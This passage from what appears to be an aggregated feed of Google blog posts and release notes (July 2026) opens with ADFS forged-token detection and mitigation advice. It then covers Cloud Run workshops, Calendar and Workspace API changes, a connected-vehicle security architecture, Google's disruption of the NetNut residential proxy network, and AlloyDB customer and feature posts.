Federated Identity Monitoring in Entra ID: Entra ID sign-in logs will record an accepted forged assertion as a standard federated sign-in event. Detection requires cross-correlating Entra ID sign-in records against ADFS-side issuance logs—neither source in isolation is sufficient. For privileged accounts, focus on unexpected Internet Protocol (IP) ranges, claim set deviations,and user-agent inconsistencies.

Mitigation and Remediation

ADFS infrastructure should be treated as Tier 0 identity infrastructure, equivalent in criticality to Domain Controllers. If SYSTEM access is achieved on an ADFS host, the signing key must be considered compromised.

Hardware-Backed Key Protection: Migrate token-signing certificates to a Hardware Security Module (HSM). HSM-backed keys ensure private key material does not exist in software-accessible storage on the host, eliminating the Machine DPAPI extraction path entirely.
gMSA Service Identity: Run ADFS services using Group Managed Service Accounts to automate credential rotation and reduce operational drift in service identity management. While this does not directly address machine-scoped key protection, it eliminates manual credential management as a contributing factor to configuration drift.
Tier 0 Administrative Controls: Govern ADFS servers with strict Tier 0 controls: restricted administrative access pathways, dedicated Privileged Access Workstations (PAWs), separation from general server administration domains, and enhanced privileged access monitoring.
Certificate Rotation and Configuration Validation: If compromise is suspected, rotate the token-signing certificate and validate consistency across ADFS configuration, the LocalMachine\My store, and federation metadata. Do not rely on a single source of truth. For environments with AutoCertificateRollover disabled, manual rotation must include updating ADFS via Set-AdfsCertificate—installing the certificate alone is insufficient. Validate using Get-AdfsCertificate after rotation. If Event ID 385 appears afterward, investigate for configuration inconsistency.
Multicloud Scope Awareness: A compromised ADFS token-signing key affects all SAML relying party trusts, not just Microsoft services. Organizations using ADFS for identity federation across other software-as-a-service (SaaS) platforms should treat ADFS as Tier 0 infrastructure and audit all relying party trusts. Migrating away from ADFS-based federation (e.g., to native OIDC federation) removes this specific attack path.

Google Cloud Labs: Accelerate AI with Cloud Run

2026-07-07T14:00:00+00:00

Moving Beyond the Prototype

The AI landscape has shifted. While "vibe coding" with tools like Antigravity and AI Studio lets you build and deploy complex agents in minutes, the real work begins on "Day 2". Moving from a magical prototype to a hardened, production-grade application requires professional AI engineering. We’re excited to bring back the Accelerate AI with Cloud Run roadshow for 2026. This year, we’ve updated our curriculum to focus on the full AI agent lifecycle, giving you the keys to productionizing and scaling agentic workloads on Google Cloud’s serverless platform.

The Coffee Shop Journey: A Hands-On Experience

Experience the ease of building advanced AI agents on Cloud Run through 'The Coffee Shop Journey'. This interactive session is designed to guide you through the full lifecycle of an AI agent, moving beyond prototyping to focus on real business use cases. You will solve real-world business problems as you evolve from launching a simple cafe to building complex, intelligent assistants.

Our curriculum covers the core pillars of modern AI development:

The Basics: Gain familiarity with Cloud Run by deploying a simple web app (a Coffee Shop launch scenario) to understand the platform fundamentals.
Build a Coffee Recommendation Agent: Create a personalized AI assistant using Google's Agent Development Kit (ADK) and Retrieval-Augmented Generation (RAG).
Optimize Coffee Stand Locations: Use Gemma 4 and the BigQuery MCP server to identify the most profitable locations for new coffee stands by analyzing popular bike routes.
Personal Productivity Assistant for Store Managers: Create a personal productivity assistant using Cloud Run to help a coffee shop manager with daily operational tasks and scheduling.
Master Advanced Features with Antigravity 2.0: Learn how to use skills, context, rules, and hooks with Antigravity 2.0 to build new features for your Cloud Run applications.

Production-Grade AI on Cloud Run

Get first-hand experience with the platform innovations that make Cloud Run the ideal home for production-grade agentic workloads. Through hands-on exercises, you will learn to build, scale, and orchestrate long-running agents using Google's ADK and Antigravity 2.0. Additionally, you will utilize BigQuery MCP for automated, data-driven expansion strategies, and experience low-latency inference for frontier models using Cloud Run’s GPU offerings without the traditional overhead of cluster management.

Ready to Build for Scale? Join us in North America

Don't just witness the AI revolution - build it. Find the workshop in your city and secure your spot today! Let's transform your AI journey from a simple prototype into a powerful, production reality.

City	Date	Registration Link
Atlanta, GA (as a part of Atlanta Tech week)	August 12-13	https://www.renderatl.com/tickets Event tickets grant access to the workshops on a first-come, first-served basis.
Sunnyvale, CA	August 13	Register now!
Toronto, Canada	August 27	Register now!
Seattle, WA	September	Registration opens late July!
New York City, NY	October	Registration opens late July!
Los Angeles, CA	November	Registration opens late July!
Boston, MA	October	Registration opens late July!
Washington D.C.	October	Registration opens late July!

Registration Update: Links for our September, October, and November workshops will be added to this page in late July. Stay tuned!

Accenture Edge and Google Cloud Bring Scalable Agentic AI Solutions to Mid-Market Companies

2026-07-07T13:00:00+00:00

Expanding Managed Agents in Gemini API: background tasks, remote MCP and more

2026-07-07T08:54:00+00:00

Managed agents feature bundle launch

Calendar API — July 07, 2026

2026-07-07T07:00:00+00:00

Feature

Generally available: We are introducing a new calendar access level: writerWithoutPrivateAccess. This new level permits read and write access to events that aren't private on a calendar, and shows private events as busy blocks. Users with this role cannot modify or see details for private events.

For more details, see the ACL resource documentation.

Change

To ensure consistent visibility across recurring events, changing the visibility of a single instance in the Google Calendar API can affect all instances of the series:

More restrictive changes propagate: If you change the visibility of one instance of a recurring event to a more restrictive setting (for example, from public to private), the change is propagated to all instances of the recurring event.
Less restrictive changes are ignored: If you attempt to change the visibility of one instance of a recurring event to a less restrictive setting (for example, from private to public), the change is ignored and the visibility remains unchanged. To make a recurring event less restrictive, you must update the parent recurring event.

For more information, see Share calendars and events and the events resource reference.

Feature

Generally Available: The Google Calendar API now provides full support for custom labels and colors, allowing users to categorize events with a flexible palette beyond the previously fixed set of colors.

You can now list and modify labels on a calendar using the labelProperties on the Calendars resource.

Then, you can assign a label to an event by setting the ID of the label to eventLabelId on the Events resource.

Note that, in order to enable the labels feature, you must set the eventLabelVersion request parameter to 1 on import, insert, patch and update operations on Events resources.

To learn more, see the Manage custom labels and colors guide.

Workspace Release Notes — July 07, 2026

2026-07-07T07:00:00+00:00

Chat API

Feature

Generally Available: You can now use the Google Chat API to read and update a user's availability in Google Chat. The following methods are supported on the users.availability resource:

get: Gets a user's availability, including their presence and custom status.
patch: Updates a user's custom status (with optional emoji and expiration time).
markAsActive: Sets a user's presence state to active.
markAsAway: Sets a user's presence state to away.
markAsDoNotDisturb: Sets a user's presence state to do not disturb.

Additionally, Google Chat apps can subscribe to user availability updates using the Google Workspace Events API. The google.workspace.chat.availability.v1.updated event type is supported.

For more information, see Manage user availability for Chat apps.

Cloud Release Notes — July 07, 2026

2026-07-07T07:00:00+00:00

App Engine standard environment Java

Feature

To modernize image processing, migrate from the App Engine Images service to Cloud Run by routing calls to a Cloud Run image transformation service while your app continues to run on App Engine (Preview).

App Engine standard environment Python

Feature

Bigtable

Feature

You can bind existing tags to Bigtable instances when you create an instance and use policies to enforce mandatory tag assignments. This feature is generally available (GA). For more information, see Create an instance.

Feature

The Bigtable agent skill (bigtable-basics) is generally available (GA) in the public Google Agent Skills repository. This skill lets you equip AI agents with capabilities for Bigtable tasks, such as provisioning instances and tables, designing schemas, querying data using GoogleSQL and key-value APIs, and diagnosing performance issues or hotspots.

Feature

You can use Organization Policy Service custom constraints to manage specific operations on continuous materialized views. This feature is generally available (GA). For more information, see Use custom organization policies.

Cloud SDK

Change

575.0.1 (2026-07-07)

Google Cloud CLI

Updated Windows bundled Python for the gcloud CLI to 3.14.6 to resolve CVE-2026-34182.

Subscribe to these release notes at https://groups.google.com/forum/#!forum/google-cloud-sdk-announce.

Gemini Enterprise

Feature

Gemini Enterprise: Managed organization policy constraints for data connectors (GA)

You can now use managed organization policy constraints to secure and control your data connectors in Gemini Enterprise.

With this release, the following constraints are generally available (GA): * Restrict allowed data sources: Use this policy to control which external data sources (such as Jira, Box, or Confluence) are permitted when adding a data store. For more information, see Configure allowed data sources. * Restrict allowed egress FQDNs: Use this policy to control the egress fully qualified domain names (FQDNs) that your data stores can connect to. For more information, see Configure allowed egress FQDNs for data stores.

For an overview of these policies and how they interact, see Overview of managed policy constraints.

See how content from social and video platforms performs on Google Search

2026-07-07T00:00:00+00:00

Content creators and publishers use many channels beyond their own websites to reach their audiences. As people gravitate toward firsthand perspectives and different content formats, we want to make it easier for site owners and creators—even those without their own website—to get a consolidated view of how all of their content is getting discovered on Search.

Shift into high gear with agents: Securing the software-defined vehicle

2026-07-06T16:00:00+00:00

The automotive industry is at a pivotal crossroads as it hits the gas on adopting new technology. The era of the traditional connected vehicle has shifted into the age of the software-defined vehicle (SDV), notable for rapid innovation with many new capabilities delivered over the air.

By integrating AI and agents, the next generation of SDVs will be capable of turning raw telemetry into actionable insights in real-time, allowing for a fundamental rethink of how vehicles interact with their environment and their users. To better support and secure SDVs, Google Cloud and Valtech have partnered to develop Nexus SDV, a highly-scalable, AI-enabled connected vehicle platform built on Google Cloud. This modular, developer-friendly and open-source solution is designed to manage up to 100 million devices, and features deep integration with Android Automotive OS (AAOS) to streamline data flows and in-vehicle experiences.

We are proud to announce the first release of the Nexus SDV open-source core that showcases how it can reduce total cost of ownership through Arm-based compute and Bigtable, while providing a AI-native environment for building the next era of automotive intelligence.

AI-driven experiences with Nexus SDV

Nexus AI serves as the platform’s intelligent engine, transforming the vehicle from a passive data source into a proactive, agentic partner. Using Gemini models and Gemini Enterprise Agent Platform, Nexus AI can analyze complex telemetry in real-time to provide information for autonomous decision-making and hyper-personalized driver assistance, effectively acting as an intelligent agent that anticipates user needs.

Crucially, this advanced intelligence is paired with a focus on significant total cost of ownership (TCO) reduction. By using high-efficiency Arm-based compute and Bigtable-optimized data storage, the platform lowers the operational costs associated with processing massive data volumes. This modular, AI-native architecture ensures that manufacturers can scale their fleet intelligence rapidly without the prohibitive cloud and development expenses traditionally associated with next-generation vehicle software.

Cloud-native under the hood

The architecture of Nexus SDV is built on a modular, cloud-native foundation designed to bridge the gap between the vehicle edge and the data center. Deep compatibility with AAOS is the keystone of the close integration between the cloud and the vehicle, and will help ensure that high-fidelity telemetry is ingested and synchronized in real-time. This robust data loop allows Nexus AI to quickly push intelligent updates and services back to the vehicle.

By providing this developer-friendly, open framework, Nexus SDV enables manufacturers to manage the entire lifecycle of a SDV with the scalability and reliability of the Google Cloud ecosystem.

Architecture for Nexus SDV.

Defense in depth with Google Cloud Security controls

By building on Google's secure foundations, including secure-by-design and Zero Trust architecture, Nexus SDV supports the heavy lifting of compliance and threat protection. To achieve this, the Nexus SDV architecture implements a comprehensive, defense-in-depth security model across six key elements:

Mutual TLS (mTLS) and public key infrastructure (PKI)
Nexus SDV relies on cryptographic trust chains to authenticate vehicles before any data exchange can occur. The infrastructure uses Google Cloud Certificate Authority Service (CAS) to manage distinct CA pools (server, factory, and registration CAs), ensuring a highly available and secure root of trust.

Specifically, the registration server enforces registration by forcing clients to present a valid "factory-issued" certificate during the initial TLS handshake, extracting and parsing the certificate directly from the connection stream to definitively prove the vehicle's identity. During registration, the server performs Certificate Signing Request (CSR) validation sent by the vehicle before issuing a new operational certificate.

Identity and access management
The system uses identity brokering where Keycloak is deployed as the central OpenID Connect (OIDC) identity provider. Vehicles authenticate against Keycloak using their operational certificate via mTLS to receive a short-lived JSON Web Token (JWT).

For fine-grained access control, a custom NATS Auth Callout service provides dynamic subject permissions: It intercepts all messaging broker connection attempts, validates the Keycloak JWT using public JWK keys, and programmatically maps the vehicle's roles to specific NATS subjects.

For secure service-to-service communication, it uses Workload Identity Federation so pipelines exchange GitHub OIDC tokens for temporary Google Cloud access, removing static credentials, while GKE Workload Identity allows Kubernetes Pods to access backend services like Bigtable by binding Kubernetes service accounts to Google service accounts.

Security is reinforced through restricted IAM scopes, ensuring dedicated service accounts are provisioned with minimal permissions, such as the data API being restricted only to reading from Bigtable. Using VPC-SC, Organization policy constraints and Private Service Connect (PSC) in your deployment context also helps you achieve secure foundations.

Secret management
Nexus SDV relies on centralized secret management to protect sensitive information. All sensitive configurations, database passwords, and cryptographic signing keys are generated dynamically during Terraform infrastructure provisioning and locked inside Google Cloud Secret Manager.

A secret fetching during deployment is used to avoid baking secrets into application code and container images. Instead, services pull signing keys and credentials directly into memory only at runtime, minimizing exposure both at rest and in transit.

Network isolation
To enforce network isolation, the underlying computer infrastructure is heavily shielded. Nexus SDV runs on private GKE clusters where worker nodes have no public IP addresses, preventing direct internet exposure. Additionally, the Keycloak PostgreSQL database uses Cloud SQL IAM Authentication, which allows the Cloud SQL Proxy to connect securely using IAM roles rather than relying on static database passwords or managing IP allowlists.

Secure AI Framework
Google Cloud secures these advanced AI capabilities through a comprehensive, enterprise-grade framework that prioritizes data privacy, model governance, and safe execution, based on guidance from the Secure AI Framework (SAIF). With Gemini Enterprise Agent Platform, security and governance are natively embedded into the machine-learning lifecycle through capabilities, such as dedicated Explainability and Safety controls, continuous Evaluation and Monitoring, and secure model registries.

You can learn more about how we secure AI here.

Data API
Instead of allowing downstream applications and external clients direct access to data stores like Bigtable, Nexus SDV routes data retrieval through a custom Data API. This microservice acts as a secure abstraction layer that translates strictly, such as querying specific vehicle IDs, sensor data types, and predefined time windows, into heavily constrained Bigtable row-range scans and column filters.

By doing so, it serves as a secure gateway that enforces structured data access patterns.

Start your journey with Nexus SDV

Nexus SDV represents a new era of automotive intelligence, delivering an agentic, secure, and cost-efficient platform that empowers manufacturers to harness the full power of AI in an open-source framework. You can learn more about how we are redefining the software-defined vehicle here.

Join video conferences on Google Meet hardware via SIP through Pexip

2026-07-06T14:52:27+00:00

The SIP functionality for Meet hardware enables critical in-meeting interactions, such as DTMF (Dual-Tone Multi-Frequency) capabilities that allow users to navigate meeting IVRs (interactive voice response systems), e.g., "Press 1 to raise your hand" and entering numeric meeting passcodes.

Distinct administrator settings are provided for managing SIP dial-out functionality separately from other Pexip-based integrations.

Join SIP calls with a single touch from the room agenda

SIP interoperability setting for administrators

Getting started

Admins: This feature will be off by default and can be disabled or enabled at the domain, OU, or group level. Visit the Help Center to learn more.
End users: There is no end user setting for this feature.

Rollout pace

Rapid Release and Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 6, 2026

Availability

Available to all Google Workspace customers with Google Meet hardware devices*

*Functionality requires a separate Pexip subscription

Resources

Google Workspace Admin Help: Allow Meet hardware to join third-party video conferencing services
Google Meet Hardware Help: Meet interoperability FAQ

Google Play launches the first Indie Games Fund in Africa

2026-07-06T13:00:00+00:00

Posted by Steph Pio, Strategic Partnerships Manager, Google Play EMEA

Sub-Saharan Africa is home to some of the world’s most creative storytelling. To help bring those stories to a global audience, today, we’re proud to announce the debut of Google Play’s Indie Games Fund in Africa.

The region’s unique creativity has fueled a vibrant game development scene, helping drive what is quickly becoming one of the most exciting, resilient, and fast-growing gaming markets. It’s a space defined by immense talent. However, access to capital is a persistent hurdle, and a significant investment gap often holds back incredibly promising local studios.

With this inaugural fund, we’re committing $1 million USD to help address that gap. This fund will empower 10 indie game studios across Sub-Saharan Africa to scale their businesses and realize their full potential.

Funding and support for selected studios

This program is designed to drive long-term growth, where it can make the biggest impact. Selected studios will receive a share of the $1 million fund, with individual investments ranging from $50,000 to $200,000 to help elevate their games. Alongside this financial backing, recipients will benefit from dedicated mentorship and hands-on technical support. Together, these awards are designed to help them scale their businesses and reach a global audience.

Who can apply?

The program is open to indie game developers based in Sub-Saharan Africa (see the list of eligible countries) who have launched a game—whether it’s on Google Play, another mobile platform, PC, or console.

Review the eligibility criteria and apply now. Applications close at 12 noon UTC on July 31, 2026.

Cloud Release Notes — July 06, 2026

2026-07-06T07:00:00+00:00

BigQuery

Change

For data transfers from Facebook Ads, support for the AdInsightsMMM report has been temporarily disabled. Existing data transfers from Facebook Ads that include the AdInsightsMMM report will continue to run, but the transfer won't include data from the AdInsightsMMM report.

This change is due to schema changes in the Facebook Ads API.

For more information, see July 06, 2026.

Bigtable

Feature

Bigtable supports direct connectivity, which bypasses the Google frontend and optimizes performance for application traffic that meets certain criteria. For more information, see Direct connectivity.

Search Central Deep Dive Europe 2026: Apparently we're going to Barcelona

2026-07-06T00:00:00+00:00

We're excited to officially announce the next stop for Search Central Live Deep Dive Europe 2026! Mark your calendars: based directly on your feedback, we're headed to Barcelona, Spain, from September 30 to October 2, 2026.

Gemini API — 2026-07-06

2026-07-06T00:00:00+00:00

Logi deweloperskie interfejsu Interactions API: logi obsługiwanych wywołań interfejsu Interactions API są teraz widoczne w panelu AI Studio .

Cloud Release Notes — July 05, 2026

2026-07-05T07:00:00+00:00

Google SecOps SOAR

Announcement

Release 6.3.92 is being rolled out to the first phase of regions as listed here.

This release contains internal and customer bug fixes.

Cloud Release Notes — July 04, 2026

2026-07-04T07:00:00+00:00

Google SecOps SOAR

Announcement

Release 6.3.91 is now available for all regions.

Google Workspace Weekly Recap - July 3, 2026

2026-07-03T19:31:10+00:00

Updated admin setting for improved video quality in Google Meet

In April 2026, we updated Meet to improve video quality on high-resolution displays. We’re now updating the way the Admin console setting that limits video bandwidth works to reduce data usage and improve call quality. | Learn more.

Educators and students can now share Gemini Canvas creations directly to Google Classroom

Assign mobile device management admin privileges based on organizational unit

We’re giving admins more granular control over how mobile device management privileges are delegated. Specifically, admins can be assigned privileges for specific organizational units (OUs), adding another layer of security by scoping access only to necessary OUs. | Learn more.

Data regions support for the Gemini app now available

The Gemini app adheres to your organization’s data regionalization requirements. As with Google Workspace, admins have the flexibility to configure controls for EU storage and processing, US storage and processing, or both, including granular settings down to the organizational unit (OU) level. | Learn more.

Create fully native and editable presentations with Gemini in Google Slides

You can now create a full, multi-slide presentation using Gemini in Google Slides. With a single prompt, you can ground the presentation in existing content from Google Drive, match the style of another presentation, and build fully editable slides, allowing you to make any necessary adjustments. | Learn more.

Ask Gemini in Drive now available on mobile

In April, we announced the general availability of Ask Gemini in Drive on the web. We’re now bringing this feature to the Drive Android and iOS apps. | Learn more.

Work with delegated Gmail accounts from mobile devices

Previously, users could only work with delegated Gmail accounts through the web interface. We are updating the Gmail app for iOS and Android to allow delegates to read, manage, and compose emails on behalf of a delegator directly from their mobile devices. | Learn more.

AI Overviews in Drive now available on mobile

In April, we announced the general availability for Drive AI Overviews in Drive on the web. We’re now bringing this feature to the Drive Android and iOS apps. | Learn more.

Import 3D bar charts into Google Sheets

Google Sheets now fully supports the import of 3D bar charts. Previously, when users imported files containing 3D bar charts into Sheets, they would be displayed as 2D bar charts. With this update, importing these types of files, including from Microsoft Excel, will yield a more seamless experience. | Learn more.

The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.

We're investing $1 million in Africa's indie game developers.

2026-07-03T16:00:00+00:00

Sub-Saharan Africa is home to incredible storytelling, which fuels the game development scene in what is one of the world's fastest-growing gaming markets. But while the…

Google DeepMind and A24 announce first-of-its-kind research partnership

2026-07-03T14:25:43+00:00

Cloud Release Notes — July 03, 2026

2026-07-03T07:00:00+00:00

Cloud CDN

Feature

Cloud CDN and external Application Load Balancers support self-service Private Bucket Access for Cloud Storage buckets. This feature allows you to securely serve content without making your storage buckets public. The access on the buckets is managed securely via IAM permissions on a Google-managed service account. This feature is Generally Available.

For more information, see Private bucket access.

Google’s Continued Disruption of Malicious Residential Proxy Networks

2026-07-02T14:00:00+00:00

Background

Today, in coordination with the FBI, Lumen, and others, Google took action against the NetNut residential proxy network, also known as Popa. This action builds on our disruption of the IPIDEA proxy network that took place in January 2026, and is a continuation of Google’s objective to dismantle malicious residential proxy networks.

Actions Taken

As a part of this disruption we took the following actions:

Disabled Google accounts and associated Google services used by NetNut for malware command and control (C2), which directly violates Google’s Terms of Service and Acceptable Use Policy.
Shared technical intelligence on NetNut software development kits (SDKs) and backend C2 infrastructure with platform providers, law enforcement, and research firms to help drive ecosystem-wide awareness and enforcement.
We ensured Google Play Protect, Android’s built-in security protection, automatically warned users and disabled applications known to incorporate NetNut SDKs, and the system will continue to protect users against future install attempts. These efforts to help keep the broader digital ecosystem safe supplement the protections we have to safeguard Android users on certified devices.

We believe our coordinated actions have caused significant degradation to NetNut’s proxy network and its business operations, reducing the available pool of devices for the proxy operator by millions. In addition to selling access to the network under the NetNut brand, NetNut has a robust reseller program that allows whitelabeling of its network. Google has high confidence that many popular residential proxy brands are in fact whitelabeling the NetNut botnet. While we expect this disruption to have a larger ripple effect across the residential proxy ecosystem, observations after the disruption of IPIDEA proved that individual networks can appear resilient. What we have observed is that when faced with the degradation of their own botnet, proxy operators begin buying capacity from their competitors, effectively becoming a reseller. We recognize that creating a lasting disruption in this fluid ecosystem means we must scale our efforts to target the infrastructure of several interconnected providers. We will continue to observe the composition of the NetNut network and map out how its peers adapt to this action.

Why it Matters

NetNut is among the largest and most popular residential proxy networks. Estimating the size of residential proxy networks is extremely challenging, but Google Threat Intelligence Group (GTIG) estimates the size of the NetNut network to be at least 2 million devices, distributed across the world. Public reporting by KrebsOnSecurity and others, confirmed by Google, illustrates that NetNut populates its botnet by distributing SDKs for devices commonly found in homes, such as smart TVs and streaming boxes. GTIG has also identified NetNut botnet plugin components for large-scale botnets such as Badbox 2.0.

Residential proxy networks sell the ability to route traffic through IP addresses owned by internet service providers (ISPs), allowing attackers to mask malicious activity by hijacking these IP addresses. A robust residential proxy network requires controlling millions of residential IP addresses to sell to customers for use. To accomplish this, operators need code running on home devices to enroll them into the malicious network as exit nodes. Home devices become part of proxy networks either because they are pre-installed with malware before purchase or because users unknowingly download applications containing hidden proxy code. This creates serious risks for unsuspecting device owners, as their home IP addresses can be used by attackers as a launchpad for hacking and other unauthorized activities. Consequently, users can have their legitimate traffic flagged as suspicious, or blocked by their service providers.

In a single week during June 2026, GTIG observed 316 distinct threat clusters using suspected NetNut exit nodes, including cybercriminal and espionage groups. These bad actors can use NetNut to mask their origin IP address when accessing victim environments, accessing their own infrastructure, and conducting password spray attacks. Furthermore, when a consumer device becomes an exit node, unauthorized network traffic passes through it. This means bad actors can access other private devices on the same home network, effectively exposing them to Internet threats. Public reports by Synthient, Spur, Nokia Deepfield, and others have documented the use of NetNut to infect devices with variants of Mirai DDoS botnets.

Empowering and Protecting Consumers

Consumers should be extremely wary of applications that offer payment in exchange for "unused bandwidth" or "sharing your internet." These applications are primary ways for malicious proxy networks to grow, and could open security vulnerabilities on the device’s home network. We urge users to stick to official app stores, review permissions for third-party VPNs and proxies, and ensure built-in security protections like Google Play Protect are active.

Consumers should be careful when purchasing connected devices, such as set top boxes, to make sure they are from reputable manufacturers. For example, to help you confirm whether or not a device is built with the official Android TV OS and Play Protect certified, our Android TV website provides the most up-to-date list of partners. You can also take these steps to check if your Android device is Play Protect certified.

Future Work

As we noted earlier this year, the residential proxy industry appears to be rapidly expanding, and this coordinated disruption is not the end of our work combating malicious residential proxy networks. This industry is deeply connected and operators depend on overlapping botnet networks that are constantly resold. While point-in-time disruptions are a critical tool to protect our users, continued and coordinated effort is needed to reduce malicious proxy networks in the long run. We encourage mobile platforms, ISPs, and other tech platforms to continue sharing intelligence and to take direct action to block malicious C2 infrastructure.

Intesa Sanpaolo Brings its Digital Infrastructure to Google Cloud Regions in Italy Hosted in TIM's Data Centers

2026-07-02T08:00:00+00:00

Cloud Release Notes — July 02, 2026

2026-07-02T07:00:00+00:00

NetApp Volumes

Feature

The Flex Unified service level supports the optional feature Block volume from deletion when clients are connected for both block and file volumes. This option is required for using NetApp Volumes with Google Cloud VMware Engine (GCVE) datastores. When this option is enabled, it prevents the deletion of a volume if the volume is mounted as a GCVE datastore.

Oracle Database@Google Cloud

Feature

Oracle Database@Google Cloud supports Exascale Storage Vaults for Exadata on Dedicated Infrastructure and Exadata VM Clusters. For more information, see Create an Exascale Storage Vault for an Exadata Infrastructure, Configure Exascale Storage Vault for Exadata Infrastructure, and Create Exadata VM Clusters with Exascale Storage Vaults.

This feature is Generally Available (GA).

SOCRadar powers rapid threat detection with AlloyDB and Gemini Enterprise

2026-07-01T19:00:00+00:00

Editor’s note: SOCRadar is a leading cybersecurity company that provides threat intelligence to businesses worldwide. As the volume of cyber threats continued to grow, SOCRadar needed to modernize its data infrastructure to deliver faster insights to its customers. By migrating from PostgreSQL to AlloyDB, SOCRadar achieved a 20x performance boost, reduced operational overhead, and is now better positioned to innovate and grow.

How SOCRadar supercharges rapid threat detection with AlloyDB

SOCRadar provides external threat intelligence to help organizations across 30+ countries defend against cyberattacks. On the front lines of cybersecurity, timely intelligence is everything and a delay of a few minutes can mean the difference between a blocked exploit and a full-scale breach.

As SOCRadar’s business scaled and cyber threat volumes exploded, their on-premises, self-managed PostgreSQL database hit a wall. The database simply couldn't keep pace with the simultaneous demands of high-velocity data ingestion and heavy, real-time analytical queries. This created a severe data bottleneck, slowing down the delivery of critical insights to customers and pulling engineers away from innovation to focus on constant manual database tuning.

Evaluating database alternatives: The hunt for scalability

The engineering team realized their traditional PostgreSQL environment had reached its absolute performance limits. To scale, SOCRadar needed a high-performance fully managed database that could dramatically slash operational overhead while elegantly handling a complex, hybrid workload.

They evaluated alternatives and selected Google Cloud's AlloyDB for PostgreSQL. Because AlloyDB is fully PostgreSQL-compatible, it offered a low-risk migration path while promising a specialized architecture built to handle both high-volume transactions and real-time analytics simultaneously. To accelerate the transition, SOCRadar partnered with NGC, a Premier Business Partner, who meticulously validated the architecture before executing a precision cutover with minimal downtime.

Taming a "triple-threat" workload

Migrating to AlloyDB transformed how SOCRadar processes massive, diverse cyber telemetry. Today, AlloyDB effortlessly manages what SOCRadar’s engineering team calls a "triple-threat" query environment, maintaining sub-second lookup latency even as processing volumes scale.

To understand the performance leaps, it helps to separate the system’s velocity (handling live data streams) from its depth (analyzing historical data):

High-Velocity Transactional Ingestion (OLTP): The platform constantly ingests real-time telemetry from thousands of disparate, fast-moving sources—including Dark Web forums, botnet logs, and social media feeds. AlloyDB handles these continuous INSERT and UPSERT operations with a 3.2x boost in live ingestion velocity, ensuring that the newest threat indicators are immediately recorded and available for detection.
Real-Time Operational Point-Reads: When a security analyst is actively investigating a live incident, speed is everything. Baseline performance testing under zero-load conditions for random ID lookups on indexed fields (e.g., querying a specific Indicator of Compromise by ID) showed that standard queries requiring 3 to 3.5 seconds were completed in just 1 second on AlloyDB.
Deep Analytical Aggregations (OLAP): When a client requests a complex sectoral report such as correlating the most prevalent attack vectors in the finance sector over an entire year, the database must execute deep scans across vast historical datasets. Leveraging AlloyDB’s built-in In-Memory Columnar Engine, these analytical queries run up to 20x faster than standard PostgreSQL.

More than just speed: Reclaiming 45 TB and 75% of DBA time

While the raw performance gains were massive, the operational and financial impact completely changed how SOCRadar's engineering team works day-to-day.

Thanks to AlloyDB's advanced automation, including intelligent memory management and write-ahead log (WAL) optimization, the need for constant, manual database tuning evaporated. The database administrator's (DBA) workload dropped significantly, requiring a system health check just “about once every two or three days." This freed up 75% of SOCRadar’s DBA resources, allowing them to pivot away from maintenance and focus entirely on core platform innovation.

Financially, AlloyDB’s dynamic storage management solved a massive cost efficiency issue. Unlike traditional database environments that lock you into paying for fixed, provisioned storage even after data is purged, AlloyDB automatically scales storage down to match actual data footprints. By clearing out legacy, unnecessary logs, SOCRadar was able to instantly reclaim over 45 TB of storage, achieving massive, automated cost optimization.

Fighting alert fatigue with integrated Gemini Enterprise Agent Platform

Beyond scaling infrastructure, AlloyDB has allowed SOCRadar to redefine the core architecture of their threat response using artificial intelligence.

Security operations centers (SOCs) globally are plagued by "alert fatigue"—the sheer volume of security alarms makes it easy to miss a critical attack. To solve this, SOCRadar integrated Gemini Enterprise Agent Platform as a core component of their solution architecture, linking it directly to their Alarm Management framework running on AlloyDB.

By running Gemini AI-native filtering directly on their active data workloads, SOCRadar can automatically distinguish between true positives and benign false alarms. The AI categorizes, filters, and routes alerts before they ever reach the end-user. This ensures security analysts are insulated from noise and receive only the most critical, validated, and actionable intelligence.

Expanding capabilities: The future of agentic threat hunting

With a high-performance foundation firmly established, SOCRadar’s dedicated AI team is transitioning from passive analytics to active automation. The company is currently testing Agentic AI workloads, with plans to roll them into production in subsequent phases.

By integrating Real-time Data Agents with Gemini Enterprise and AlloyDB, SOCRadar is transforming with autonomous agents that don't just store data, but actively hunt threats, reason over context, and take action. Their upcoming production roadmap includes:

Natural Language Querying (NLQ): Allowing analysts to conduct rapid threat hunting using conversational language, lowering the technical barrier to querying massive database sets.
Intelligent Semantic Similarity Search: Leveraging native vector embeddings and Gemini Enterprise to allow Data Agents to independently surface hidden patterns across historical logs that traditional keyword searches would miss.
Automated Incident Summarization: Instantly transforming hundreds of lines of complex, deeply technical logs into concise, plain-language executive summaries for security analysts during critical incidents.

By consolidating transactional velocity, historical depth, and built-in AI intelligence into a unified platform, SOCRadar has eliminated its data bottlenecks and built a highly automated, future-proof framework for global cybersecurity defense.

Ready to modernize your database infrastructure? AlloyDB provides a fully managed, PostgreSQL-compatible database with high performance for transactional, analytical, and AI workloads. Learn how you can reduce costs, eliminate management overhead, and build intelligent applications.

Why B3 chose Android for secure AI-enabled productivity

2026-07-01T19:00:00+00:00

Collage of: 3 people looking at an Android phone, Android icons, two Android phones, and the text "Device enrolled"

The latest AI news we announced in June 2026

2026-07-01T18:15:00+00:00

June Pixel Drop hero

AlloyDB AI Functions - now with revolutionary performance boosts and cost savings

2026-07-01T18:00:00+00:00

AlloyDB is an AI-native database—it isn’t just a passive data store, it intelligently understands and processes your data. With AlloyDB, you get industry-leading vector and hybrid search, near 100% accurate natural language-to-SQL capabilities to build conversational agents, tools to enable you to build with your agentic IDEs of choice, and the ability to bring the intelligence of foundation models like Gemini directly to your data through AI functions.

In this blog post, we discuss the massive breakthroughs in AI function processing alongside a suite of brand-new AI functions.

But first: what exactly are AI functions? They bring Gemini’s world knowledge to your AlloyDB data. Consider the challenge of managing raw user feedback: it’s unstructured, and difficult to parse through. Before this data can be leveraged for search, it may require pre-processing and entity extraction. Rather than maintaining complex custom pipelines for knowledge extraction, you can use Gemini’s generation capabilities directly within AlloyDB to transform raw text into structured, searchable insights. For example, here is how you can use ai.generate to instantly turn raw feedback into clean, structured JSON (see more examples here):

